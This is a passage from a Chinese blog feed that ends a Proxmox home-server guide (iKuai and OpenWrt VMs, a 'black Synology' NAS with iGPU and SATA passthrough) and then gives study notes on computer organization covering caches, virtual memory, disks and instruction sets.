src=\"https://upload.hawa130.com/2022/09/image-20220918171252540.png#vwid=1482\u0026vhei=1052\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e分配硬盘\u003c/p\u003e\u003cul\u003e\u003cli\u003e官方建议配置是 \u0026gt; 1GB,我分配 4GB 算是绰绰有余了。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"硬盘分配\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918172146458.png#vwid=1424\u0026vhei=552\" src=\"https://upload.hawa130.com/2022/09/image-20220918172146458.png#vwid=1424\u0026vhei=552\"\u003e\u003cfigcaption\u003e硬盘分配\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e分配 CPU\u003c/p\u003e\u003cul\u003e\u003cli\u003e不够了以后再调整,先分配个双核。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e分配内存\u003c/p\u003e\u003cul\u003e\u003cli\u003e官方建议内存 \u0026gt; 4GB,不过听说实际用不到这么多,先按最低标准分配 4GB 吧。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"内存分配\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918172511835.png#vwid=866\u0026vhei=168\" src=\"https://upload.hawa130.com/2022/09/image-20220918172511835.png#vwid=866\u0026vhei=168\"\u003e\u003cfigcaption\u003e内存分配\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e配置网络\u003c/p\u003e\u003cul\u003e\u003cli\u003e作为拨号用的主系统,需要直通一个网卡,不然会卡卡卡卡死,所以安装好后需要进行 PCI 设备直通。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e添加 PCI 设备——网卡,勾选「所有功能」。(02:00.0 一般是管理口,直通的话,PVE 管理界面就进不去了,不要问我怎么知道的)\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"直通网卡\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918190825780.png#vwid=1390\u0026vhei=498\" src=\"https://upload.hawa130.com/2022/09/image-20220918190825780.png#vwid=1390\u0026vhei=498\"\u003e\u003cfigcaption\u003e直通网卡\u003c/figcaption\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e启动虚拟机安装 iKuai 吧。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"iKuai\" data-src=\"https://upload.hawa130.com/2022/09/image-20220918191113236.png#vwid=5118\u0026vhei=2178\" src=\"https://upload.hawa130.com/2022/09/image-20220918191113236.png#vwid=5118\u0026vhei=2178\"\u003e\u003cfigcaption\u003eiKuai\u003c/figcaption\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003eiKuai 安装好之后,记得启动 DHCP 服务器。「网络设置」→「DHCP 设置」→「DHCP 服务端」,添加 DHCP 地址池并启用即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"toc_4\"\u003eOpenWrt\u003c/h2\u003e\u003col\u003e\u003cli\u003e新建一个空虚拟机,操作系统不使用任何介质,系统机型选择 Q35,其他的按需分配,注意硬盘过会也要删掉,所以随意设置大小吧。\u003c/li\u003e\u003cli\u003e硬件菜单,选择硬盘,分离并删除(把虚拟硬盘扬了。\u003c/li\u003e\u003cli\u003e把 OpenWrt 镜像上传到 PVE。通过 \u003ccode\u003escp\u003c/code\u003e 传输比较方便,FTP 也可以。\u003c/li\u003e\u003cli\u003e将镜像导入到虚拟机中。\u003ccode\u003eqm importdisk \u0026lt;虚拟机ID\u0026gt; \u0026lt;镜像文件\u0026gt; local-lvm\u003c/code\u003e,导入后 Web 界面就能看到这个「未使用的磁盘」了。\u003c/li\u003e\u003cli\u003e双击,添加这个「未使用的磁盘」。\u003c/li\u003e\u003cli\u003e选项里面,修改「引导顺序」,把刚才添加的硬盘挪到第一位,接下来启动虚拟机吧。\u003c/li\u003e\u003cli\u003e可以编辑 \u003ccode\u003e/etc/config/network\u003c/code\u003e 修改 OpenWrt 的 IP 地址,通过该地址访问管理界面。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e既然装好了 OpenWrt 就随便折腾吧,注意需要设置 LAN 接口的网关为 iKuai 的 IP 地址,并关闭 DHCP 分配(忽略此接口)。\u003c/p\u003e\u003ch2 id=\"toc_5\"\u003e黑群晖\u003c/h2\u003e\u003cp\u003e压轴大戏!需要直通核显和硬盘,还是比较麻烦的。\u003c/p\u003e\u003ch3 id=\"toc_6\"\u003e核显直通\u003c/h3\u003e\u003cp\u003e以上面的硬件直通已经做了为前提。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e依然是编辑 GRUB 配置的那行。\u003ccode\u003enano /etc/default/grub\u003c/code\u003e,编辑完成后更新引导 \u003ccode\u003eupdate-grub\u003c/code\u003e。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eGRUB_CMDLINE_LINUX_DEFAULT=\u0026quot;quiet intel_iommu=on iommu=pt video=efifb:off\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e查看核显的硬件 ID。\u003ccode\u003elspci -nn\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e00:02.0 VGA compatible controller [0300]: Intel Corporation GeminiLake [UHD Graphics 600] [8086:3185] (rev 06)\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e即 \u003ccode\u003e8086:3185\u003c/code\u003e。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e添加 vifo 配置。\u003ccode\u003enano /etc/modprobe.d/vfio.conf\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eoptions vfio-pci ids=8086:3185\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e屏蔽驱动。\u003ccode\u003enano /etc/modprobe.d/blacklist.conf\u003c/code\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eblacklist snd_hda_intel\nblacklist snd_hda_codec_hdmi\nblacklist i915\u003c/code\u003e\u003c/pre\u003e\u003c/li\u003e\u003cli\u003e更新配置。\u003ccode\u003eupdate-initramfs -u\u003c/code\u003e\u003c/li\u003e\u003cli\u003e重启 PVE 系统。\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_7\"\u003e创建虚拟机\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e前提\u003c/strong\u003e:BIOS 的 CSM 设置 enable,video 设置为 Legacy。\u003c/p\u003e\u003cp\u003e创建一个空虚拟机,注意,\u003cstrong\u003e处理器类别选择「host」\u003c/strong\u003e。其他保持默认或按需选择即可。\u003c/p\u003e\u003cp\u003e由于黑群有各种各样不同的体质,完全按照此步骤来安装不成功也是正常现象。\u003c/p\u003e\u003cp\u003e黑群的关键在于引导,DSM 系统可以用原厂的,从群晖官网下载即可,注意引导要支持这个版本的系统才行。有核显的机器建议选择 DS918+ 的系统。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://wp.gxnas.com/11849.html\"\u003e黑群引导索引\u003c/a\u003e(来自 GXNAS)\u003c/p\u003e\u003ch3 id=\"toc_8\"\u003e虚拟机直通\u003c/h3\u003e\u003ch4 id=\"toc_9\"\u003e核显直通\u003c/h4\u003e\u003cp\u003e在 Web 界面添加 PCI 设备核显。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"核显直通\" data-src=\"https://upload.hawa130.com/2022/09/image-20220924180422650.png#vwid=1092\u0026vhei=184\" src=\"https://upload.hawa130.com/2022/09/image-20220924180422650.png#vwid=1092\u0026vhei=184\"\u003e\u003cfigcaption\u003e核显直通\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_10\"\u003eSATA 控制器直通\u003c/h4\u003e\u003cp\u003e在 Web 端添加 SATA 控制器 PCI 设备即可。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"SATA 控制器直通\" data-src=\"https://upload.hawa130.com/2022/09/image-20220924180028844.png#vwid=1450\u0026vhei=354\" src=\"https://upload.hawa130.com/2022/09/image-20220924180028844.png#vwid=1450\u0026vhei=354\"\u003e\u003cfigcaption\u003eSATA 控制器直通\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch3 id=\"toc_11\"\u003e导入引导硬盘\u003c/h3\u003e\u003cp\u003e将引导镜像上传到 PVE 虚拟机上,执行命令导入虚拟硬盘,然后双击添加,注意选择 SATA 格式。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eqm importdisk \u0026lt;虚拟机ID\u0026gt; \u0026lt;引导镜像文件路径\u0026gt; local-lvm\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在选项里面设置这个硬盘为第一启动项。导入完成后就能愉快地启动系统了,启动时选择 SATA 那一项(默认是 USB)。\u003c/p\u003e\u003cp\u003e如果不出意外的话,访问虚拟机的 IP 地址(如果不知道的话,可以去 iKuai 的 DHCP 客户端看看)的 5000 端口就可以进入安装界面了。\u003c/p\u003e\n","url":"https://hawa130.com/archives/838/"},{"title":"计组后半部分预习","time":"2022-06-23T13:08:24Z","content":"计组前半部分可看计组期中复习笔记。存储系统常用半导体存储器RAMSRAM (速度最快)DRAM → SDRAM → DDR SDRAM(DDR2、DDR3、DDR4、DDR5)ROM(虽然叫 R...\u003chr /\u003e\n\u003cp\u003e计组前半部分可看\u003ca href=\"https://hawa130.com/archives/796/\"\u003e计组期中复习笔记\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_12\"\u003e存储系统\u003c/h2\u003e\u003ch3 id=\"toc_13\"\u003e常用半导体存储器\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003eRAM\u003c/p\u003e\u003cul\u003e\u003cli\u003eSRAM (速度最快)\u003c/li\u003e\u003cli\u003eDRAM → SDRAM → DDR SDRAM(DDR2、DDR3、DDR4、DDR5)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eROM(虽然叫 Read-Only Memory,但是有的可以写)\u003c/p\u003e\u003cul\u003e\u003cli\u003eEPROM\u003c/li\u003e\u003cli\u003eE²PROM → Flash(NOR、NAND)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_14\"\u003e相联存储器\u003c/h3\u003e\u003cp\u003e其中任一存储项内容作为地址来存取的存储器。\u003c/p\u003e\u003cp\u003e用途:快速查找、地址变换\u003c/p\u003e\u003cp\u003e如:Cache 的地址映射表,页表中的快表(TB)、变换旁路缓冲器(TLB)\u003c/p\u003e\u003ch3 id=\"toc_15\"\u003e主存储器\u003c/h3\u003e\u003ch4 id=\"toc_16\"\u003e存储芯片的连接方式 ⭐️\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e字扩展\u003c/strong\u003e(字数的扩展,即地址的扩展)\u003c/p\u003e\u003cul\u003e\u003cli\u003e扩展的芯片不能同时选中\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e位扩展\u003c/strong\u003e(位数的扩展)\u003c/p\u003e\u003cul\u003e\u003cli\u003e扩展的芯片可以同时选中\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e位数和字数同时扩展\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_17\"\u003e用存储器芯片构成主存模块\u003c/h4\u003e\u003cul\u003e\u003cli\u003eSRAM(主存与 CPU 速度协调)\u003c/li\u003e\u003cli\u003eEPROM\u003c/li\u003e\u003cli\u003eE²PROM\u003c/li\u003e\u003cli\u003eSDRAM — 内存条\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_18\"\u003e多体交叉存储器\u003c/h4\u003e\u003col\u003e\u003cli\u003e多体并行访问\u003c/li\u003e\u003cli\u003e多体交叉访问(和流水线类似)\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_19\"\u003e高速缓冲存储器\u003c/h3\u003e\u003ch4 id=\"toc_20\"\u003e主存与 Cache 的地址映射 ⭐️\u003c/h4\u003e\u003cp\u003e以块为单位。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e全相联\u003c/strong\u003e:主存的任意一块可以映像到 Cache 的任意一块。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache 地址:| Cache 块号 | 块内地址 |\u003c/li\u003e\u003cli\u003e主存地址:| 主存块号 Tag | 块内地址 |\u003c/li\u003e\u003cli\u003e变换:Cache 块号 $\\xrightarrow{目录表}$ 主存块号\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e直接映射\u003c/strong\u003e:主存的每一块只能映像到 Cache 的一个特定块。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache 地址:| 块号 | 块内地址 |\u003c/li\u003e\u003cli\u003e主存地址:| 区号 Tag | 区内块号 Index | 块内地址 |\u003c/li\u003e\u003cli\u003e无需变换:\u0026lt;u\u0026gt;所访问的主存区号\u0026lt;/u\u0026gt;与\u0026lt;u\u0026gt;目录表中记录的主存区号\u0026lt;/u\u0026gt;相比较\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e组相联\u003c/strong\u003e:组间直接映射,组内全相联。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache 组数 = 区内块数\u003c/li\u003e\u003cli\u003eCache 地址:| 组号 | 组内块号 | 块内地址 |\u003c/li\u003e\u003cli\u003e\u003cp\u003e主存地址(两种划分方法,看题目要求选择,一般用第二种)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cdel\u003e| 区号 | 区内组号 | 组内块号 | 块内地址 |\u003c/del\u003e\u003c/li\u003e\u003cli\u003e| 区号 Tag | 区内块号 Index | 块内地址 |\u003c/li\u003e\u003cli\u003e相联存储器容量 = 8 × (Tag 位数 + \u003cstrong\u003e1 位有效位\u003c/strong\u003e)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"toc_21\"\u003e替换算法\u003c/h4\u003e\u003cp\u003e直接映射无需替换算法(因为一次就替换全部)\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e随机替换算法\u003c/strong\u003e(RAND)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e先进先出替换算法\u003c/strong\u003e(FIFO)\u003c/li\u003e\u003cli\u003e最不经常使用(最少使用)替换算法(LFU):计数器位数多,实现困难\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e近期最少使用(最久未用)替换算法\u003c/strong\u003e(LRU)\u003c/li\u003e\u003cli\u003e最佳替换算法(OPT)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_22\"\u003e更新策略\u003c/h4\u003e\u003cul\u003e\u003cli\u003e写回法\u003c/li\u003e\u003cli\u003e写直达法(全写法)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_23\"\u003eCache 性能测量\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e命中率\u003c/strong\u003e $h=\\frac{N_C}{N}\\times 100\\%$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$N$:CPU 访问主存次数\u003c/li\u003e\u003cli\u003e$N_C$:CPU 访问命中 Cache 的次数\u003c/li\u003e\u003cli\u003e缺失率 $m=1-h$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e平均访问时间\u003c/strong\u003e $T_A=T_C+(1-h)\\times T_M$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$T_C$:Cache 访问时间\u003c/li\u003e\u003cli\u003e$T_B$:数据块装入 Cache 的时间\u003c/li\u003e\u003cli\u003e$T_M$:主存访问时间,等于 $T_B+T_C$,而由于 $T_M\\gg T_c$,$T_B\\approx T_M$。\u003c/li\u003e\u003cli\u003e推导:$\\begin{align}T_A\u0026amp;=h\\times T_C+(1-h)\\times T_M \\\\ \u0026amp;=T_C+(1-h)\\times T_B \\\\ \u0026amp;=T_C+(1-h)\\times T_M\\end{align}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e加速比\u003c/strong\u003e $S_P=\\frac{T_M}{T_A}=\\frac{T_M}{T_C+(1-h)\\times T_M}=\\frac{1}{1-h+\\frac{1}{r}}$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$r=\\frac{T_M}{T_C}$\u003c/li\u003e\u003cli\u003e可见随着命中率 $h$ 的增大,加速比 $S$ 提高。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e成本\u003c/strong\u003e $C=(C_1\\times S_1+C_2\\times S_2)/(S_1+S_2)$\u003c/p\u003e\u003cul\u003e\u003cli\u003e$C_i$:价格,1 为主存,2 为 Cache\u003c/li\u003e\u003cli\u003e$S_i$:容量,1 为主存,2 为 Cache\u003c/li\u003e\u003cli\u003e$S_1\\gg S_2$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_24\"\u003eCache 性能提升\u003c/h4\u003e\u003col\u003e\u003cli\u003e多级 Cache 结构\u003c/li\u003e\u003cli\u003e\u003cp\u003e降低 Cache 的缺失率\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e缺失类型\u003c/p\u003e\u003cul\u003e\u003cli\u003e强制缺失:第一次访问\u003c/li\u003e\u003cli\u003e容量缺失:容量有限,不包含所需的所有主存块(增大 Cache 容量可减少)\u003c/li\u003e\u003cli\u003e冲突缺失:主要发生在直接映射\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e合理设计 Cache 块尺寸\u003c/li\u003e\u003cli\u003e合理增加 Cache 容量\u003c/li\u003e\u003cli\u003e合理设置相联度\u003c/li\u003e\u003cli\u003e硬件预取(可解决强制缺失)\u003c/li\u003e\u003cli\u003e编译优化\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e减少 Cache 开销\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_25\"\u003e虚拟存储器\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e其实和 Cache 那块内容很相似。\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e地址映射:全相连\u003c/li\u003e\u003cli\u003e地址变换:MMU\u003c/li\u003e\u003cli\u003e\u003cp\u003e页式虚拟存储器 ⭐️\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e多级页表\u003c/p\u003e\u003cul\u003e\u003cli\u003e虚地址:| 虚页号 (V 位) | 页面偏移 (P 位) |\u003c/li\u003e\u003cli\u003e$\\left(\\frac{2^P}{m}\\right)^i=2^V$\u003c/li\u003e\u003cli\u003e\u003cp\u003e页表级数 $i=\\left\\lceil\\frac{V}{P-\\log_2m}\\right\\rceil $\u003c/p\u003e\u003cul\u003e\u003cli\u003e$P$:页面偏移的位数\u003c/li\u003e\u003cli\u003e$V$:虚页号的位数\u003c/li\u003e\u003cli\u003e$m$:页表项编址单元位数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e快慢表\u003c/p\u003e\u003cul\u003e\u003cli\u003e快表:CPU 内部的 TLB\u003c/li\u003e\u003cli\u003e慢表:主存中的页表\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e实存空间、虚存空间、页面大小(决定页面偏移位数)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_26\"\u003e外部存储器(辅助存储器)\u003c/h3\u003e\u003ch4 id=\"toc_27\"\u003e磁表面存储原理及记录方式\u003c/h4\u003e\u003cp\u003e$$\\text{编码效率}η=\\frac{\\text{位密度}}{\\text{最大磁化翻转次数}}$$\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"磁记录方式及性能评价\" data-src=\"https://upload.hawa130.com/2022/06/image-20220623204209986.png#vwid=1426\u0026vhei=748\" src=\"https://upload.hawa130.com/2022/06/image-20220623204209986.png#vwid=1426\u0026vhei=748\"\u003e\u003cfigcaption\u003e磁记录方式及性能评价\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch4 id=\"toc_28\"\u003e磁盘存储器\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e磁盘结构\u003c/p\u003e\u003cul\u003e\u003cli\u003e磁道(记录面的同心圆)\u003c/li\u003e\u003cli\u003e扇区(磁道的段)\u003c/li\u003e\u003cli\u003e柱面(相同序号的磁道构成的圆柱面)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据应尽可能放在同一柱面或者相邻柱面,缩短寻道时间\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e技术指标\u003c/strong\u003e ⭐️\u003c/p\u003e\u003cul\u003e\u003cli\u003e道密度:道 / mm\u003c/li\u003e\u003cli\u003e位密度:bit / mm(最靠近中心的磁道)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e非格式化容量\u003c/strong\u003e = 位密度 × 内圈磁道周长 × 每个记录面磁道数 × 记录面数\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e格式化容量\u003c/strong\u003e = 每个扇区的字节数 × 每道道扇区数 × 每个记录面磁道数 × 记录面数\u003c/li\u003e\u003cli\u003e\u003cp\u003e平均访问时间 = 平均寻道时间 + 平均等待时间 + 数据传输时间\u003c/p\u003e\u003cul\u003e\u003cli\u003e平均等待时间:磁盘旋转一周所用时间的一半\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e转速:RPM(转 / 分钟)\u003c/li\u003e\u003cli\u003e数据传输速率 = 每个扇区的字节数 × 每道扇区数 × 磁盘转速\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e与计算机主机的连接\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_29\"\u003e磁盘阵列 RAID\u003c/h4\u003e\u003cp\u003e由独立的磁盘组成的具有冗余特性的阵列。\u003c/p\u003e\u003ch2 id=\"toc_30\"\u003e指令系统\u003c/h2\u003e\u003ch3 id=\"toc_31\"\u003e存储模式\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数据存储顺序\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e大端存储\u003c/strong\u003e:最低有效字节存储在\u003cstrong\u003e最高\u003c/strong\u003e地址位置\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e小端存储\u003c/strong\u003e:最低有效字节存储在\u003cstrong\u003e最低\u003c/strong\u003e地址位置\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e边界对齐\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e16 位字长的数据:起始地址为 2 的整数倍。\u003c/li\u003e\u003cli\u003e32 位字长的数据:起始地址为 4 的整数倍。\u003c/li\u003e\u003cli\u003e64 位字长的数据:起始地址为 8 的整数倍。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e堆栈\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003ePUSH 操作:$\\text{(SP)}-i\\to\\text{SP},\\text{(R1)}\\to\\text{M}_\\text{SP}$\u003c/li\u003e\u003cli\u003ePOP 操作:$\\text{M}_\\text{SP}\\to\\text{(R1)},\\text{(SP)}+i\\to\\text{SP}$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e冯诺伊曼结构和哈佛结构\u003c/p\u003e\u003cul\u003e\u003cli\u003e前者数据和指令存一起,后者数据指令分开存\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_32\"\u003e指令类型\u003c/h3\u003e\u003cul\u003e\u003cli\u003e数据传送类(MOV)\u003c/li\u003e\u003cli\u003e\u003cp\u003e运算类\u003c/p\u003e\u003cul\u003e\u003cli\u003e算术运算类\u003c/li\u003e\u003cli\u003e逻辑运算类\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e输入/输出类\u003c/p\u003e\u003cul\u003e\u003cli\u003e统一编址的情况\u003c/li\u003e\u003cli\u003e独立编址的情况\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e程序控制类\u003c/p\u003e\u003cul\u003e\u003cli\u003e转移指令\u003c/li\u003e\u003cli\u003e循环控制指令\u003c/li\u003e\u003cli\u003e过程调用和返回指令\u003c/li\u003e\u003cli\u003e程序自中断指令\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e系统控制类(通常是特权指令,虚存管理、任务切换、改变处理器工作模式)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_33\"\u003e指令设计\u003c/h3\u003e\u003ch4 id=\"toc_34\"\u003e指令格式\u003c/h4\u003e\u003cp\u003e二地址指令:| 操作码 | 地址码 1 | 地址码 2 |\u003c/p\u003e\u003cp\u003e还有一地址指令、零地址指令……\u003c/p\u003e\u003cul\u003e\u003cli\u003e定长操作码\u003c/li\u003e\u003cli\u003e变长操作码(扩展操作码)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_35\"\u003e操作码设计\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e定长操作码\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$N$ 条指令,所有指令均用 $n$ 位编码:$N\\le 2^n$。\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e变长操作码\u003c/strong\u003e ⭐️\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e原则\u003c/strong\u003e:短码不能是长码的前缀\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e扩展操作码设计\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e平均码长\u003c/strong\u003e:$\\sum_{i=1}^n p_i\\times l_i$\u003c/li\u003e\u003cli\u003e\u003cp\u003e设计\u003c/p\u003e\u003cul\u003e\u003cli\u003e霍夫曼编码\u003c/li\u003e\u003cli\u003e特定规则\u003c/li\u003e\u003cli\u003e地址码数量\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_36\"\u003e寻址方式\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e隐含寻址\u003c/strong\u003e:操作数的位置默认,无需给出。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e立即寻址\u003c/strong\u003e:操作数在指令中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e寄存器寻址\u003c/strong\u003e:操作数在指令指定的寄存器中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e直接寻址\u003c/strong\u003e:操作数在主存中,主存地址在指令中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e寄存器间接寻址\u003c/strong\u003e:操作数在主存中,主存地址在指令指定的寄存器中。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e相对寻址\u003c/strong\u003e:跳转目标地址 $\\text{EA}=\\text{(PC)}+\\text{A}$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e基址寻址\u003c/strong\u003e:操作数在主存中,$\\text{EA}=\\text{(基址寄存器)}+\\text{A}$\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"toc_37\"\u003e指令系统结构的发展\u003c/h3\u003e\u003ch4 id=\"toc_38\"\u003e复杂指令集计算机 CISC\u003c/h4\u003e\u003cul\u003e\u003cli\u003e用一条指令代替一串指令\u003c/li\u003e\u003cli\u003e增加新的指令\u003c/li\u003e\u003cli\u003e增强指令功能\u003c/li\u003e\u003cli\u003e设置功能复杂的指令\u003c/li\u003e\u003cli\u003e增加寻址方式增加数据表示方式\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"toc_39\"\u003e精简指令集计算机 